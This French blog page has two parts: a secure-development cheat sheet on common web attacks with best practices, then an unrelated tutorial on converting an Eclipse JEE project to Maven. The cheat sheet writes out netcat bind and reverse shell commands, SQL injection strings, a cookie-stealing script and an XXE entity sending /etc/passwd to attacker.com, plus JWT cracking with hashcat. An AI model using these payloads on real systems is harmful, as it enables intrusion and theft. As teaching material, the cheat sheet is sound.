Développement sécurisé – Cheat Sheet

Ressources, références

Cross Site Scripting (XSS)

  • Injection de javascript/HTML via formulaire HTML ou URL
  • Vol de session administrateur / tierce

<script type="text/javascript">alert('test');</script>

SQL Injection

  • Récupérations d’informations sensibles de la base de données

1' OR 1=1 -- -
1' || 1=1 # -
... ORDER BY 1, 2, 3, 4, 5, 6, ... 10, 15

SELECT ... INTO OUTFILE ;
SELECT LOAD_FILE ...;
information_schema.schemata, information_schema.columns, ...
VERSION(), USER()

Command Injection

  • Accès à distance sur le serveur. Màj de fichiers. Accès root. déni de service…
  • BindShell : nc -lp 1234 -e /bin/sh puis chez l’attaquant : nc <ip_victime> 1234
  • ReverseShell : nc -lvp 1234 puis sur la victime : nc <ip_attaquant> 1234 /bin/sh
  • Créer un shell interactif : python -c 'import pty; pty.spawn("/bin/bash");'

{cat,/etc/passwd}

Object Injection

  • Ex. PHP Object Injection : nécessite de connaitre le code de l’app.

var_dump(serialize($obj));

Cross-Site Request Forgery (CSRF)

  • Récupérer la session d’un site externe via envoi d’un formulaire non HTTPS

document.write('<img src="http://attacker.com:8080/cookie?' + document.cookie + '"/>');
<form action="..."><input type="hidden"/>...</form><script>document.forms[0].submit();</script>

Server-Side Request Forgery (SSRF)

  • Utilisation d’un formulaire d’envoi d’image pour scanner le serveur
  • Outil: BurpSuite + Intruder

http://ip.locale:port

Import de fichiers

  • Utiliser la fonction d’import de fichier pour injecter du code interprétable.

Code PHP en fin de fichier PNG
Bulletproof JPEGs (code php présent même après réduction de l'image)
curl --user-agent='<?php phpinfo();?>'

Attaque XML

  • Billion Laughs : Inclusion exponentielle d’entités XML
  • Lire des fichiers sur le serveur

<!ENTITY lol "lol"> <!ENTITY lol2 "&lol; &lol;">

<!ENTITY faille SYSTEM "file:///etc/passwd"> <!ENTITY attacker SYSTEM "https://attacker.com?%faille;">
<data>&faille;</data>

Clés de chiffrement

  • Attaque possible par bourrage si couple PKCS7/CBC (Cipher Block Chaining) utilisé
  • Lire des fichiers sur le serveur

Outils

Kali Linux : sqlmap

  • sqlmap –url= » » –forms -v3 –cookie= » » –threads=2 (cookie=document.cookie dans le navigateur)
  • Recherche les failles dans les formulaires HTML
  • Méthode time_based: SLEEP ou BENCHMARK pour détecter si le code est exécuté
  • Méthode bool_based: AND x between ‘a’ and ‘m’ : recherche dichotomique sur le champ recherché

Kali Linux : beEF Xss framework

Kali Linux : BuRP

  • Plugin Authorize: Teste sur chaque requête le mode authentifié / non authentifié / admin
  • Intruder: rejouer les requêtes paramétrées pour scanner un réseau par exemple.
  • proxy local pas-à-pas HTTP. Headers modifiables. Rejouable dans Intruder

Autres outils et astuces

  • Démarrer un serveur rapidement pour tester: python -m SimpleHttpServer 8080 ; php -S 8080
  • hashcat, jwtbrute : permet de casser des clés JWT (360 millions/sec). Ex. hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
  • Test de robustesse des mots de passe: biliothèque zxcvbn sur github

Quelques outils matériels

  • Clé TNT modifiée permettant d’écouter le réseau GSM par exemple (illégal. NooElec, env. 20€)
  • Fournisseur téléphonique (SFR/Free/… illégal. BladeRF, nuand.com, env. 500€)
  • Brutalis : 8 GPU casseur de mdp: env. 250 milliards de md5 par seconde. sagitta.pw
  • Social Engineering
  • Livre: Silence on the Wire – Michal Zalewski
  • Livre: Hacking, the Art Of Exploitation – Jon Erickson

Fichiers sensibles pouvant être accessibles sur un serveur

  • /var/log/apache2
  • /var/log/auth.log
  • /proc/self/ environ (environnement envoyé par les requetes HTTP par ex) ; fd (open files)

Recommandations

Glossaire

Vulnérabilité
Erreur de conception. Elle peut être logique (scénario mal conçu) ou technique (pb de sécurité, …)
Menace
Element (naruel, humain, technique) exploitant une vulnérabilité
Exploit
Scénario décrivant l’exploitation d’une vulnérabilité

Bonnes pratiques

  • Ne pas stocker les mdp en clair en base de données
  • Implémenter la sécurité dès le début de la conception ; la vérifier
  • Authentification user/mdp : facile mais prévoir garde-fous (logs, en clair le moins d’endroits possibles)
  • Perte mot de passe : pas de mdp en clair par mail, ne pas remplacer le mdp existant dès la demande effectuée.
  • Authentification OTP (One Time Password) : Mdp + clé générée. Nécessite un pérophérique (téléphone, jeton, …)
  • Messages d’erreurs : fournir le moins d’informations possibles. Une erreur générique suffit pour ne pas distinguer les différents cas d’erreurs
  • Une session doit périmer, être interrompue, être sécurisée (flag cookie secure envoyé que sur HTTPS ou httpOnly pour ne pas être utilisé par javascript), être détruite côté serveur à la déconnexion
  • Token JWT : ne pas autoriser l’algorithme « none » (pas de signature). Avoir un « secret » robuste.
  • SQL : utiliser des frameworks (ORM), prepared statements, …
  • Formulaires HTML : créer des tokens (jeton CSRF) pour authentifier le formulaire
  • Pas d’infos sensibles dans les logs
  • Clé symétrique : minimum 128 bits. Clé asymétrique : minimum 2048 bits. Entropie : utiliser Crypt RNG pour l’aléatoire. Une clé par application.

Eclipse JEE : Passer à Maven

Premiers pas vers Maven.

Nous allons partir d’une application JEE standard (Glassfish) écrite depuis l’IDE Eclipse et la convertir vers un ensemble de projets Maven. Cette application a été construite avec les assistants par défaut, c’est à dire non rattachés à Maven.

Sources d’informations principales utilisées pour cet article :

maven.apache.org Getting Started officiel
lauraliparulo.altervista.org Intégration Glassfish dans Maven
netbeans.org Projet EAR avec exemple Maven à télécharger
maven.apache.org Construire un EAR avec Maven
stackoverflow.com Construire un EAR avec Maven
websystique.com Créer un projet Maven multi-projet (Eclipse)
stackoverflow.com Configuration du Proxy dans Maven
www.vogella.com Le tuto de base

Préférences Maven dans Eclipse

Initialiser le chargement du dépôt dans le dépôt local

x download artifact sources
x Download Artifact JavaDoc
x vDownload repository index updates on startup
x Update Maven Projects on startup

Catalogues Archétypes

(A vérifier si une intervention est nécessaire)

  Remote Catalog : http://repo1.maven.org/maven2/archetype-catalog.xml
  Remote Catalog : http://repo.maven.apache.org/maven2 (par défaut normalement)

Installations

Sélectionner « EMBEDDED » pour utiliser l’installation fournir par Eclipse (m2eclipse).

User Settings

Paramétrer votre dépôt local (lieu où seront stockés les artefacts téléchargés et générés par mvn install.

User Settings : C:\Users\choriero\.m2\settings.xml
Local repository : C:\Users\choriero\.m2\repository

Redémarrer Eclipse.

Redémarrer Eclipse pour télécharger les artefacts, initialiser le dépôt, etc.

Paramétrer le proxy

Cette étape est nécessaire si vous passez derrière un proxy pour votre connexion internet.

Il faut éditer le fichier .m2/settings.xml :

<proxies>
<proxy>
	<id>myproxy1</id><active>true</active><protocol>http</protocol>
	<host>fr-proxy.groupinfra.com</host><port>8888</port><username/><password/>
	<nonProxyHosts>localhost,127.0.0.1</nonProxyHosts></proxy>
<proxy>
	<id>myproxy2</id><active>true</active><protocol>https</protocol>
	<host>fr-proxy.groupinfra.com</host><port>8888</port><username/><password/>
	<nonProxyHosts>localhost,127.0.0.1</nonProxyHosts></proxy>
</proxies>

Conversion des projets vers Maven

Clic droit sur le projet / Configure / Convert To Maven Project :

  • GroupId : com.organisationname.appname
  • Skip dependency conversion

Clic droit sut le projet / Preferences :

  • Project Facets : JBoss Maven Integration

Conversion d’un projet Java vers un projet Maven

Ajouter les dépendances vers JEE

  • Clic droit > Maven > Add Dependency > Rechercher javaee-api.
<dependency>
	<groupId>javax</groupId><artifactId>javaee-api</artifactId>
	<version>7.0</version><scope>provided</scope>
</dependency>

Ajout des dépendances vers JEE 7

Ajouter les dépendances vers les projets liés

  • Il faut d’abord construire et installer le projet lié pour qu’il soit présent dans le repository local (dossier .m2/repository/my/group/id/MonProjetLie).
  • Clic droit > Maven > Add Dependency > Rechercher MonProjetLie.
  • Choisir le scope « compile ».
    • Le projet EAR

      • Saisir les modules en tant que dépendances
      • Deployment assembly : Supprimer le doublon EARContent et supprimer le dossier correspondant

      Le projet WAR

      • Inclure les dépendances locales (JAR de l’EAR) en scope provided pour ne pas qu’ils se retrouvent dans WEB-INF/lib.

      Le projet parent

      Il est nécessaire de créer un projet parent pour le cycle la construction de l’application.

      Ce projet ne contient qu’un pom.xml parent faisant référence aux pom.xml fils qui sont les modules à construire.

      Les modules fils indiquent également le lien avec le pom.xml parent.

      • Nouveau Projet Maven
      • Sélectionner les modules fils à associer

      Création du projet parent

      Build

      Partir du projet contenant le pom.xml parent pour construire toute l’application.

      • Menu Project / Clean
      • Clic droit > Run > Maven build
      • Goals=compile
        

        Configuration de l’étape de build

      • Clic droit > Run > Maven install
      • Lancement de la contruction des artefacts dans le dépôt local

      Les JAR générés une fois install terminé sont dans le dossier .m2/repository/my/group/id/.